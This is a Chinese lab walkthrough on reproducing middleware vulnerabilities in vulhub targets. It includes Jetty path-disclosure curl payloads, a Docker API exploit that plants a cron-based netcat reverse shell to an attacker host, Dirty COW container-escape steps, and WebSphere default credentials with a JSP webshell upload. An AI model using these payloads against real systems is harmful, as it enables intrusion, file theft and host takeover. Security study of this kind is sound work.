中间件安全-CVE 复现K8sDockerJettyWebsphere漏洞复现
目录
- 服务攻防-中间件安全&CVE 复现&K8s&Docker&Jetty&Websphere
- 中间件-K8s
- 中间件-Jetty
- 漏洞复现
- CVE-2021-28164-路径信息泄露漏洞
- CVE-2021-28169双重解码信息泄露漏洞
- CVE-2021-34429路径信息泄露漏洞
- 中间件-Docker
- 漏洞复现
- 守护程序 API 未经授权访问漏洞
- 中间件-WebSphere
- 漏洞复现
- 反序列化CVE-2015-7450
- 弱口令 &&后台Getshell
- CVE-2020-4450
服务攻防-中间件安全&CVE 复现&K8s&Docker&Jetty&Websphere
中间件及框架列表:
IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等。
中间件所披露的问题:
中间件安全-IIS&Apache&Tomcat&Nginx漏洞复现
中间件安全-Weblogic&Jenkins&GlassFish漏洞复现
1、中间件-K8s 安全
2、中间件-Jetty 安全
3、中间件-Docker 安全
4、中间件-WebSphere 安全
常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用-框架特定安全漏洞
中间件安全测试流程:
1、判断中间件信息-名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞
应用服务安全测试流程:
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等
中间件-K8s
介绍:kubernetes详解
中间件-K8s:
kubernetes 简称 k8s,是一个由 google 开源的,用于自动部署,扩展和管理容器化应用程序的开源系统。在 B 站内部,k8s 在管理生产级容器和应用服务部署已经有较为广泛和成熟的应用。通过k8s,可跨多台主机进行容器编排、快速按需扩展容器化应用及其资源、对应用实施状况检查、服务发现和负载均衡等。
K8s相关安全问题以及漏洞复现参考文章:k8s对外攻击面总结_k8s漏洞
中间件-Jetty
介绍:
Elipse Jetty 是一个开源的 servlet 容器,它为基于 Java 的 Web 容器提供运行环境。Jetty是一个开源的HTTP服务器和Servlet引擎,它可以为JSP和Servlet提供运行时环境。相对于Tomcat,jetty更加轻量、更加简易、更加灵活。
安全问题:
CVE-2021-28164-路径信息泄露漏洞
CVE-2021-28169-双重解码信息泄露漏洞
CVE-2021-34429-路径信息泄露漏洞
漏洞复现
CVE-2021-28164-路径信息泄露漏洞
Jetty 版本 9.4.37 引入了有关 URI 解码的更精确的RFC3986实现,以及一些新的合规性模式,以选择性地允许支持某些在 Servlet 指定的 API 方法行为中可能具有模糊解释的 URI。默认模式允许 % 编码。要排除以进行 URI 规范化的字符,RFC 正确,但常见 Servlet 实现不假定。
默认合规性模式允许具有包含或分段的 URI 的请求访问 WEB-INF 目录中的受保护资源。例如,请求可以检索 web.xml 文件。这可能会泄露有关 Web 应用程序实现的敏感信息。
%2e%2e%2e/context/%2e/WEB-INF/web.xml此错误已在版本 9.4.39 中修复。
靶场:vulhub
参考:CVE-2021-28164

开启环境:

访问:

payload:
//访问敏感文件 Web.xml /WEB-INF/web.xml
//用于绕过限制:%2e/
curl -v "http://192.168.100.134:8080/%2e/WEB-INF/web.xml"


或使用burp抓包,发送请求或直接使用浏览器直接url请求
http://you-ip:8080/%2e/WEB-INF/web.xml
CVE-2021-28169双重解码信息泄露漏洞
介绍:
在版本 9.4.40、10.0.2、11.0.2 之前,Jetty Servlet 中的 and 类受到双重解码错误的影响。如果开发人员手动使用这两个类,攻击者可以使用它们下载 WEB-INF 目录中的任意敏感文件。
ConcatServletWelcomeFilter
靶场:vulhub
参考:CVE-2021-28169 双重解码信息泄露漏洞

开启环境:

访问:

payload:
//访问敏感文件 Web.xml。 /static?/WEB-INF/web.xml
//双 URL 编码以绕过限制:W
curl -v "http://your-ip:8080/static?/%2557EB-INF/web.xml"
curl -v "http://192.168.100.134:8080/static?/%2557EB-INF/web.xml"


使用浏览器发送url请求或使用burp抓包修改数据包,发送请求也可以
http://you-ip:8080/static?/WEB-INF/web.xml
CVE-2021-34429路径信息泄露漏洞
介绍:
Eclipse Jetty 是一个 Java Web 服务器和 Java Servlet 容器。
Jetty 9.4.40 修复了一个不明确的路径信息泄露漏洞 CVE-2021-28164,CVE-2021-34429 是它的变体和绕过。
有 3 种类型的有效负载会泄露以下内容:
WEB-INF/web.xml
基于 Unicode 的 URL 编码:
/%u002e/WEB-INF/web.xml
\0有错误:./.%00/WEB-INF/web.xml
\0有错误:../a/b/..%00/WEB-INF/web.xml该漏洞影响码头 9.4.37-9.4.42、10.0.1-10.0.5、11.0.1-11.0.5。
靶场:vulhub
参考:CVE-2021-34429路径信息泄露漏洞

开启环境:

访问:

payload:
//访问敏感文件 Web.xml。 /WEB-INF/web.xml
//使用有效负载绕过限制: /%u002e/WEB-INF/web.xml
curl -v "http://192.168.100.134:8080/%u002e/WEB-INF/web.xml"

或直接使用浏览器url请求或使用burp抓包,发送请求/%u002e/WEB-INF/web.xml
GET /%u002e/WEB-INF/web.xml HTTP/1.1
...

http://192.168.100.134:8080/%u002e/WEB-INF/web.xml

此两种方式,以上的两种CVE漏洞也可以利用成功。
中间件-Docker
介绍:Docker详解
Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 Linux或Windows操作系统的机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。
Docker 容器是使用沙盒机制,是单独的系统,理论上是很安全的,通过利用某种手段,再结合执行 POC 或 EXP,就可以返回一个宿主机的高权限 Shell,并拿到宿主机的
root 权限,可以直接操作宿主机文件。 它从容器中逃了出来,因此我们形象的称为Docker 逃逸漏洞。
//判断容器
1、容器判断:
-是否存在.dockerenv 文件
ls -alh /.dockerenv
-查询系统进程的 cgroup 信息:
cat /proc/1/cgroup2、容器逃逸漏洞:权限提升
-由内核漏洞引起 ——Dirty COW(CVE-2016-5195)
-由 Docker 软件设计引起——CVE-2019-5736、CVE-2019-14271,CVE-2020-15257
-由配置不当引起——开启 privileged(特权模式)+宿主机目录挂载(文件挂载)、功能
(capabilities)机制、sock 通信方式-CVE-2016-5195//工具地址:https://github.com/gebl/dirtycow-docker-vdso
上传到docker环境当中
进入目录执行make进行编译
执行生成的可执行文件即可
安全问题:
API 未经授权访问漏洞
…
漏洞复现
守护程序 API 未经授权访问漏洞
靶场:vulhub
参考:Docker守护程序 API 未经授权访问漏洞

开启环境:

漏洞利用:
//exp脚本,反弹shell
import dockerclient = docker.DockerClient(base_url='http://you-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 攻击者IP 监听端口 -e /bin/sh' >> /tmp/etc/crontabs/rumilc" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
执行脚本:
python docker-api.py
开启监听:
nc -lvvp 8888
等待反弹即可。
中间件-WebSphere
介绍:webSphere详解
WebSphere 是 IBM 的软件平台。它包含了编写、运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施,如服务器、服务和工具。WebSphere 提供了可靠、灵活和健壮的软件。
WebSphere 是一个模块化的平台,基于业界支持的开放标准。可以通过受信任和持久的接口,将现有资产插入 WebSphere,可以继续扩展环境。WebSphere 可以在许多平台上运行,包括 Intel、Linux 和 z/OS。
安全问题:
反序列化CVE-2015-7450
弱口令 &&后台Getshell
CVE-2020-4450
…
漏洞复现
反序列化CVE-2015-7450
原理:
Apache Commons Collections (ACC) 3.2.1及4.0版本未能正确验证用户输入,其InvokerTransformer类在反序列化来自可疑域的数据时存在安全漏洞,这可使攻击者在用户输入中附加恶意代码并组合运用不同类的readObject()方法,在最终类型检查之前执行Java函数或字节码(包括调用Runtime.exec()执行本地OS命令)。
复现:
反序列化漏洞发生位置在SOAP的通信端口8880,可使用https发送XML格式数据。
//拉取环境
docker pull iscrosales/websphere7
//开启环境
docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7
等待环境开启后,访问即可。如果访问8880端口,若出现如下界面,则可能存在Java反序列化漏洞。


漏洞利用:
可直接使用工具,梭哈一键利用,RCE以及上传等操作,输入url即可

检测并执行过后:

执行命令(RCE):

whoami,当前路径pwd

弱口令 &&后台Getshell
弱口令:
在6.x至7.0版本,后台登陆只需要输入admin作为用户标识,无需密码,即可登陆后台。
访问9096端口服务:
//登录界面
//http://you-ip:9060/ibm/console/unsecureLogon.jsp
http://you-ip:9060/ibm/console
//默认账号密码:
websphere/websphere
system/manager//进入后台
http://you-ip:9060/ibm/console/login.do
弱口令:


成功进入后台:

后台getshell:
1、点击WebSphere 企业应用程序,点击安装
2、创建jsp木马文件,压缩成zip文件,将zip更名为war后缀的文件,进行上传(上传war包,点击下一步)
3、填写上下文根,关系到你访问的URL
4、保存访问shell即可(回到WebSphere 企业应用程序,选中war包启动,访问shell)
http://you-ip:9080/shell.jsp
http://you-ip:9080/1/shell.jsp通过哥斯拉进行连接,进行getshell即可。
操作流程如下:
1、点击WebSphere 企业应用程序,点击安装

2、创建jsp木马文件,压缩成zip文件,将zip更名为war后缀的文件,进行上传(上传war包,点击下一步)

上传,点击下一步:

3、一路下一步,到填写上下根,填写即可;填写上下文根,关系到你访问的URL。

等待安装:

4、保存访问shell即可(回到WebSphere 企业应用程序,选中war包启动,访问shell)
安装完成后,保存配置:
保存主配置后,然后回到WebSphere 企业应用程序,选中war包启动,访问shell

选中,点击start:

成功:

访问shell:
http://192.168.100.134:9080/shell.jsp

http://192.168.100.134:9080/1/shell.jsp

接下来通过哥斯拉进行连接:
成功连接:

命令执行:

具体详细复现过程可参考文章:
WebSphere漏洞复现
CVE-2020-4450
漏洞原理以及复现可参考:
WebSphere 远程代码执行漏洞CVE-2020-4450
CVE-2020-4450
其他中间件安全问题以及漏洞复现点击以下链接即可
跳转参考链接如下:
中间件安全-CVE复现&IIS&Apache&Tomcat&Nginx漏洞复现
中间件安全-CVE复现&Weblogic&Jenkins&GlassFish漏洞复现
相关文章:
中间件安全-CVE 复现K8sDockerJettyWebsphere漏洞复现
目录 服务攻防-中间件安全&CVE 复现&K8s&Docker&Jetty&Websphere中间件-K8s中间件-Jetty漏洞复现CVE-2021-28164-路径信息泄露漏洞CVE-2021-28169双重解码信息泄露漏洞CVE-2021-34429路径信息泄露漏洞 中间件-Docker漏洞复现守护程序 API 未经授权访问漏洞…...
系列九、什么是Spring bean
一、什么是Spring bean 一句话,被Spring容器管理的bean就是Spring bean。...
轻量封装WebGPU渲染系统示例<4>-CubeMap/天空盒(源码)
当前示例源码github地址: https://github.com/vilyLei/voxwebgpu/blob/version-1.01/src/voxgpu/sample/ImgCubeMap.ts 此示例渲染系统实现的特性: 1. 用户态与系统态隔离。 2. 高频调用与低频调用隔离。 3. 面向用户的易用性封装。 4. 渲染数据和渲染机制分离。 5. 用户…...
Linux 环境变量 二
目录 获取环境变量的后两种方法 环境变量具有全局属性 内建命令 和环境变量相关的命令 c语言访问地址 重新理解地址 地址空间 获取环境变量的后两种方法 main函数的第三个参数 :char* env[ ] 也是一个指针数组,我们可以把它的内容打印出来看看。 …...
Beyond Compare4 30天试用到期的解决办法
相信很多小伙伴都有在使用Beyond Compare 4软件,如果我们没有激活该软件,就只有30天的评估使用期,那么过了这30天后我们怎么继续使用呢?下面小编就来为大家介绍方法。 打开Beyond Compare4,提示已经超出30天试用期限制…...
sentinel规则持久化-规则同步nacos-最标准配置
官方参考文档: 动态规则扩展 alibaba/Sentinel Wiki GitHub 需要修改的代码如下: 为了便于后续版本集成nacos,简单讲一下集成思路 1.更改pom 修改sentinel-datasource-nacos的范围 将 <dependency><groupId>com.alibaba.c…...
【Linux】tail命令使用
tail 命令可用于查看文件的内容,有一个常用的参数 -f 常用于查阅正在改变的日志文件。 语法 tail [参数] [文件] tail命令 -Linux手册页 著者 由保罗鲁宾、大卫麦肯齐、伊恩兰斯泰勒和吉姆梅耶林撰写。 命令选项及作用 执行令 tail --help 执行命令结果 参…...
【数据结构】面试OJ题——时间复杂度2
目录 一:移除元素 思路: 二:删除有序数组中的重复项 思路: 三:合并两个有序数组 思路1: 什么?你不知道qsort() 思路2: 一:移除元素 27. 移…...
LibreOffice编辑excel文档如何在单元格中输入手动换行符
用WPS编辑excel文档的时候,要在单元格中输入手动换行符,可以先按住Alt键,然后回车。 而用LibreOffice编辑excel文档,要在单元格中输入手动换行符,可以先按住Ctrl键,然后回车。例如:...
ideaSSM在线商务管理系统VS开发mysql数据库web结构java编程计算机网页源码maven项目
一、源码特点 SSM 在线商务管理系统是一套完善的信息管理系统,结合SSM框架和bootstrap完成本系统,对理解JSP java编程开发语言有帮助系统采用SSM框架(MVC模式开发),系统具有完整的源代码 和数据库,系统主…...
数据结构 | 顺序表专题
数据结构 | 顺序表专题 文章目录 数据结构 | 顺序表专题课前准备1. 目标2. 需要的储备知识3. 数据结构相关概念 开始顺序表1、顺序表的概念及结构2、顺序表分类3、动态顺序表的实现初始化顺序表打印顺序表内存容量的检查顺序表的尾插顺序表的尾删顺序表的头插顺序表的头删在顺序…...
C++可视化 有穷自动机NFA 有穷自动机DFA
一、项目介绍 根据正则表达式,可视化显示NFA,DFA;词法分析程序 二、项目展示...
vite vue3 ts 使用sass 设置样式变量 和重置默认样式
1.安装scss 样式支持依赖 yarn add -D sass 2.使用sass <div><!-- 测试使用sass --><h1>测试使用sass</h1> </div><style scope lang"scss"> div {h1 {color: red;} } </style> 效果: 3.通过npm下载并复制…...
MySQL安全基线检查
目录 安全基线检查基础知识MySQL 的安全基线检查MySQL 更严格的一些基线检查内容一、安全基线检查基础知识 1、安全基线的定义: 安全基线是一个信息系统的最小安全保证,即该信息系统最基本需要满足的安全要求。它是在安全付出成本与所能够承受的安全风险之间进行平衡的合理…...
Unity主程如何做好游戏项目管理
前言 很多小伙伴最近在面试或者考虑跳槽,可能工作了3~5年了想涨薪或想做技术总监或主程, 可自己还是个雏,没有做过项目技术管理,怎么办?今天我给大家梳理一下作为一个技术总监或主程你应该如何带好一个游戏项目,做好技术管理。接…...
103.linux5.15.198 编译 firefly-rk3399(2)
1. 平台: rk3399 firefly 2g16g 2. 内核:linux5.15.136 (从内核镜像网站下载) 3. 交叉编译工具 gcc version 7.5.0 (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 4. 宿主机:ubuntu18.04 5. 需要的素材和资料ÿ…...
如何从Android手机上轻松恢复误删除的短信 ?
当您使用 Android 手机时,您可能会误删除一些 Android 短信。如果这些消息对您很重要,您可能想要恢复它们。在这种情况下,您可以尝试使用U1tData安卓数据恢复(奇客软件) 来完成这项工作。这篇文章将向您展示更多信息。…...
毅速丨金属3D打印能替代传统制造吗?
金属3D打印技术已经逐渐被很多行业认可和应用,但是目前,金属3D打印多数被作为传统制造技术的一种补充,暂时还不能完全替代传统制造。 金属3D打印使用的是金属粉末进行选择性激光烧结,打印时在成型缸里铺上金属粉末,打印…...
21个新的ChatGPT应用
自从GPT有了图识别功能后变的更加强大,特别是ChatGPT的视觉技术,为我们提供了无数的可能性。本文将深入探讨这21种应用场景,帮助理解其在日常生活和工作中的实际价值。 生活助手:为日常生活增添色彩 健身计划定制:你…...
【通信原理】第二章|确知信号
前言 那么这里博主先安利一些干货满满的专栏了! 首先是博主的高质量博客的汇总,这个专栏里面的博客,都是博主最最用心写的一部分,干货满满,希望对大家有帮助。 高质量博客汇总 文章目录 前言 第二章 确知信号1. 确知…...
Vue记事本应用实现教程
文章目录 1. 项目介绍2. 开发环境准备3. 设计应用界面4. 创建Vue实例和数据模型5. 实现记事本功能5.1 添加新记事项5.2 删除记事项5.3 清空所有记事 6. 添加样式7. 功能扩展:显示创建时间8. 功能扩展:记事项搜索9. 完整代码10. Vue知识点解析10.1 数据绑…...
FastAPI 教程:从入门到实践
FastAPI 是一个现代、快速(高性能)的 Web 框架,用于构建 API,支持 Python 3.6。它基于标准 Python 类型提示,易于学习且功能强大。以下是一个完整的 FastAPI 入门教程,涵盖从环境搭建到创建并运行一个简单的…...
C#中的CLR属性、依赖属性与附加属性
CLR属性的主要特征 封装性: 隐藏字段的实现细节 提供对字段的受控访问 访问控制: 可单独设置get/set访问器的可见性 可创建只读或只写属性 计算属性: 可以在getter中执行计算逻辑 不需要直接对应一个字段 验证逻辑: 可以…...
uniapp 字符包含的相关方法
在uniapp中,如果你想检查一个字符串是否包含另一个子字符串,你可以使用JavaScript中的includes()方法或者indexOf()方法。这两种方法都可以达到目的,但它们在处理方式和返回值上有所不同。 使用includes()方法 includes()方法用于判断一个字…...
Python Einops库:深度学习中的张量操作革命
Einops(爱因斯坦操作库)就像给张量操作戴上了一副"语义眼镜"——让你用人类能理解的方式告诉计算机如何操作多维数组。这个基于爱因斯坦求和约定的库,用类似自然语言的表达式替代了晦涩的API调用,彻底改变了深度学习工程…...
在鸿蒙HarmonyOS 5中使用DevEco Studio实现企业微信功能
1. 开发环境准备 安装DevEco Studio 3.1: 从华为开发者官网下载最新版DevEco Studio安装HarmonyOS 5.0 SDK 项目配置: // module.json5 {"module": {"requestPermissions": [{"name": "ohos.permis…...
PostgreSQL——环境搭建
一、Linux # 安装 PostgreSQL 15 仓库 sudo dnf install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-$(rpm -E %{rhel})-x86_64/pgdg-redhat-repo-latest.noarch.rpm# 安装之前先确认是否已经存在PostgreSQL rpm -qa | grep postgres# 如果存在࿰…...
Python 训练营打卡 Day 47
注意力热力图可视化 在day 46代码的基础上,对比不同卷积层热力图可视化的结果 import torch import torch.nn as nn import torch.optim as optim from torchvision import datasets, transforms from torch.utils.data import DataLoader import matplotlib.pypl…...
CTF show 数学不及格
拿到题目先查一下壳,看一下信息 发现是一个ELF文件,64位的 用IDA Pro 64 打开这个文件 然后点击F5进行伪代码转换 可以看到有五个if判断,第一个argc ! 5这个判断并没有起太大作用,主要是下面四个if判断 根据题目…...
手动给中文分词和 直接用神经网络RNN做有什么区别
手动分词和基于神经网络(如 RNN)的自动分词在原理、实现方式和效果上有显著差异,以下是核心对比: 1. 实现原理对比 对比维度手动分词(规则 / 词典驱动)神经网络 RNN 分词(数据驱动)…...
